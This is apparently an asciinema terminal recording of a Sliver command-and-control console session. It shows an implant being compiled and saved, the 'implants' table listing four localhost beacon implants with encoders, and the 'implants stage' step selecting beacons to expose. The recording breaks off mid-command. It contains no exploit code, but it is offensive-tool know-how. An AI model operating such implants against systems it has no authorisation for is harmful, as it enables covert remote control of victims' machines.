[46.18743, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[46.289848, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[46.390349, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[46.492372, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[46.594606, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[46.69709, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[46.798081, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[46.898401, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[47.001454, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[47.101607, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[47.203255, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[47.304917, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[47.405417, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[47.506078, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[47.607601, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[47.709833, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[47.810699, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[47.910909, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[48.015307, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[48.115706, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[48.220213, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[48.321168, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[48.422196, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[48.522765, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[48.623496, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[48.724404, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[48.824842, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[48.925352, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[49.026214, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[49.1273, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[49.228199, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[49.329307, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[49.429953, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[49.530029, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[49.631032, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[49.732103, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[49.832921, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[49.933644, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[50.034987, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[50.136644, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[50.237435, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[50.337863, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[50.442481, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[50.545466, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[50.645986, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[50.747677, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[50.848029, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[50.948283, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[51.048818, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[51.150134, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[51.251111, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[51.351426, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[51.452974, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[51.553983, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[51.654684, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[51.755187, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[51.856145, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[51.956358, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[52.056496, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[52.156822, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[52.257951, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[52.359347, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[52.460568, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[52.56118, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[52.662128, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[52.762987, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[52.863501, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[52.96414, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[53.064639, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[53.165005, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[53.265296, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[53.366214, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[53.466537, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[53.567662, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[53.67063, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[53.770936, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[53.871563, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[53.972276, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[54.073042, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[54.173212, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[54.276139, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[54.377201, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[54.47762, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[54.579072, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[54.680074, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[54.781139, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[54.881576, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[54.98194, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[55.082628, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[55.187036, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[55.291563, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[55.394091, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[55.495358, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[55.596206, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[55.697138, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[55.798132, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[55.899013, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[55.99953, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[56.103424, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[56.204188, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[56.304793, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[56.405683, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[56.506455, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[56.607794, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[56.708681, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[56.809335, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[56.910137, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[57.010919, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[57.112135, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[57.212983, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[57.31805, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[57.419587, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[57.520196, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[57.621354, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[57.722075, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[57.824119, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[57.924599, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[58.024915, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[58.127674, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[58.228504, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[58.328925, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[58.43366, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[58.534214, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[58.634677, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[58.735292, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[58.836106, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[58.937398, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[59.040175, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[59.141358, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[59.245842, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[59.346404, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[59.447064, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[59.548633, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[59.649233, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[59.750301, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[59.853589, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[59.954108, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[60.054416, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[60.155014, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[60.2551, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[60.355831, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[60.374973, "o", "\r\u001b[2K"]
|
||||
[60.388694, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/POWERFUL_DEBT\r\n\r\n"]
|
||||
[60.397104, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[60.397628, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[60.399504, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[61.711194, "o", "\u001b[?25l"]
|
||||
[61.713174, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[61.720317, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[61.817903, "o", "\u001b[?25l\u001b[214D"]
|
||||
[61.8193, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[61.824286, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[61.998253, "o", "\u001b[?25l"]
|
||||
[61.999296, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.001887, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[62.05207, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[62.052654, "o", "\u001b[6n"]
|
||||
[62.055459, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[62.216191, "o", "\u001b[?25l"]
|
||||
[62.218059, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.222114, "o", "impla\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C"]
|
||||
[62.223295, "o", "\u001b[?25h"]
|
||||
[62.358486, "o", "\u001b[?25l"]
|
||||
[62.359097, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.364115, "o", "implan\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
|
||||
[62.60135, "o", "\u001b[?25l\u001b[214D"]
|
||||
[62.603281, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.609081, "o", "implant\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[62.609883, "o", "\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
|
||||
[62.662166, "o", "\u001b[?25l\u001b[214D"]
|
||||
[62.66417, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.666506, "o", "\u001b[1m\u001b[32mimplants\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
|
||||
[63.110464, "o", "\u001b[17D\u001b[9C"]
|
||||
[63.117265, "o", "\u001b[6n"]
|
||||
[63.121016, "o", "\u001b[214D\u001b[17C\u001b[0J"]
|
||||
[63.121514, "o", "\u001b[214D\r\r\n"]
|
||||
[63.123349, "o", "\u001b[0 q\r\n"]
|
||||
[63.176883, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================== ===================== ========== ============= ============ ======================= ======= =========== ======= =======\r\n POWERFUL_DEBT gzip - RC4 - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 54907 false \r\n SOFT_OWNER beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 42203 false \r\n VISITING_PERFUME zlib - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 3383 false \r\n WHOLE_BASE RC4 - beacon sliver linux/amd64 EXECUTABLE [1] https://localhost true ruby 20201 false \r\n"]
|
||||
[63.177558, "o", "\r\n\r\n\r\n"]
|
||||
[63.186065, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[63.186281, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[63.188074, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[63.188241, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[63.817359, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[63.829561, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[63.922034, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[63.934886, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[63.935128, "o", "\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[64.052777, "o", "\u001b[?25l"]
|
||||
[64.053964, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[64.058012, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[64.058545, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[64.106408, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[64.113862, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[64.276508, "o", "\u001b[1 q"]
|
||||
[64.30521, "o", "\u001b[1 q\u001b[?25l"]
|
||||
[64.305698, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[64.309674, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[64.310154, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
|
||||
[64.756104, "o", "\u001b[?25l\u001b[214D"]
|
||||
[64.75904, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[64.763904, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[64.764861, "o", "\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
|
||||
[64.874575, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[64.88263, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mst\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[64.887063, "o", "\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
|
||||
[65.01508, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[65.026543, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22msta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
|
||||
[65.264178, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[65.264668, "o", "\u001b[6n"]
|
||||
[65.26937, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mstag\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[65.271044, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
|
||||
[65.316151, "o", "\u001b[?25l\u001b[214D"]
|
||||
[65.317287, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[65.319802, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22mstage\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[65.320572, "o", "\u001b[1A\u001b[23D\u001b[9C\u001b[214D\u001b[23C\u001b[?25h"]
|
||||
[66.402281, "o", "\u001b[23D\u001b[9C\u001b[6n"]
|
||||
[66.412449, "o", "\u001b[214D\u001b[23C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[66.414228, "o", "\u001b[0 q\r\n"]
|
||||
[66.472399, "o", "\u001b7\u001b[?25l"]
|
||||
[66.473469, "o", "\u001b8\u001b[0G\u001b[2K"]
|
||||
[66.480895, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;1;99m [ ] \u001b[0m WHOLE_BASE\r\n \u001b[0;1;99m [ ] \u001b[0m VISITING_PERFUME\r\n \u001b[0;1;99m [ ] \u001b[0m POWERFUL_DEBT\r\n \u001b[0;1;99m [ ] \u001b[0m SOFT_OWNER\r\n"]
|
||||
[66.481492, "o", "\u001b7"]
|
||||
[66.482208, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[67.569931, "o", "\u001b8"]
|
||||
[67.571104, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[67.576136, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;32m [x] \u001b[0m WHOLE_BASE\r\n \u001b[0;1;99m [ ] \u001b[0m VISITING_PERFUME\r\n \u001b[0;1;99m [ ] \u001b[0m POWERFUL_DEBT\r\n \u001b[0;1;99m [ ] \u001b[0m SOFT_OWNER\r\n\u001b7"]
|
||||
[67.579232, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[67.927623, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[67.937296, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n \u001b[0;32m [x] \u001b[0m WHOLE_BASE\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;1;99m [ ] \u001b[0m VISITING_PERFUME\r\n \u001b[0;1;99m [ ] \u001b[0m POWERFUL_DEBT\r\n \u001b[0;1;99m [ ] \u001b[0m SOFT_OWNER\r\n\u001b7"]
|
||||
[67.93937, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[68.105907, "o", "\u001b8"]
|
||||
[68.10758, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[68.109503, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m"]
|
||||
[68.10963, "o", "\r\n \u001b[0;32m [x] \u001b[0m WHOLE_BASE\r\n \u001b[0;1;99m [ ] \u001b[0m VISITING_PERFUME\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;1;99m [ ] \u001b[0m POWERFUL_DEBT\r\n \u001b[0;1;99m [ ] \u001b[0m SOFT_OWNER\r\n\u001b7"]
|
||||
[68.111334, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[68.371987, "o", "\u001b8"]
|
||||
[68.378798, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[68.394306, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m \u001b[0;36m[Use arrows to move, space to select, <right> to all, <left> to none, type to filter]\u001b[0m\r\n \u001b[0;32m [x] \u001b[0m WHOLE_BASE\r\n \u001b[0;1;99m [ ] \u001b[0m VISITING_PERFUME\r\n\u001b[0;1;36m>\u001b[0m\u001b[0;32m [x] \u001b[0m POWERFUL_DEBT\r\n \u001b[0;1;99m [ ] \u001b[0m SOFT_OWNER\r\n\u001b7"]
|
||||
[68.398433, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[68.858432, "o", "\u001b8\u001b[?25h\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect sessions and beacons to expose:\u001b[0m\u001b[0;36m WHOLE_BASE, POWERFUL_DEBT\u001b[0m\r\n"]
|
||||
[68.897255, "o", "\r\n"]
|
||||
[68.91368, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[68.914018, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[68.915454, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C"]
|
||||
[68.91643, "o", "\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[69.955405, "o", "\u001b[?25l"]
|
||||
[69.956744, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[69.960494, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A"]
|
||||
[69.96069, "o", "\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[70.009879, "o", "\u001b[?25l\u001b[214D"]
|
||||
[70.012609, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[70.017804, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[70.018021, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[70.464456, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[70.483439, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[70.485924, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[70.539426, "o", "\u001b[?25l\u001b[214D"]
|
||||
[70.540673, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[70.543898, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[70.544044, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D"]
|
||||
[70.545525, "o", "\u001b[13C\u001b[?25h"]
|
||||
[70.651461, "o", "\u001b[1 q"]
|
||||
[70.683397, "o", "\u001b[1 q\u001b[?25l"]
|
||||
[70.683609, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[70.687423, "o", "\u001b[1m\u001b[32mimplants \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
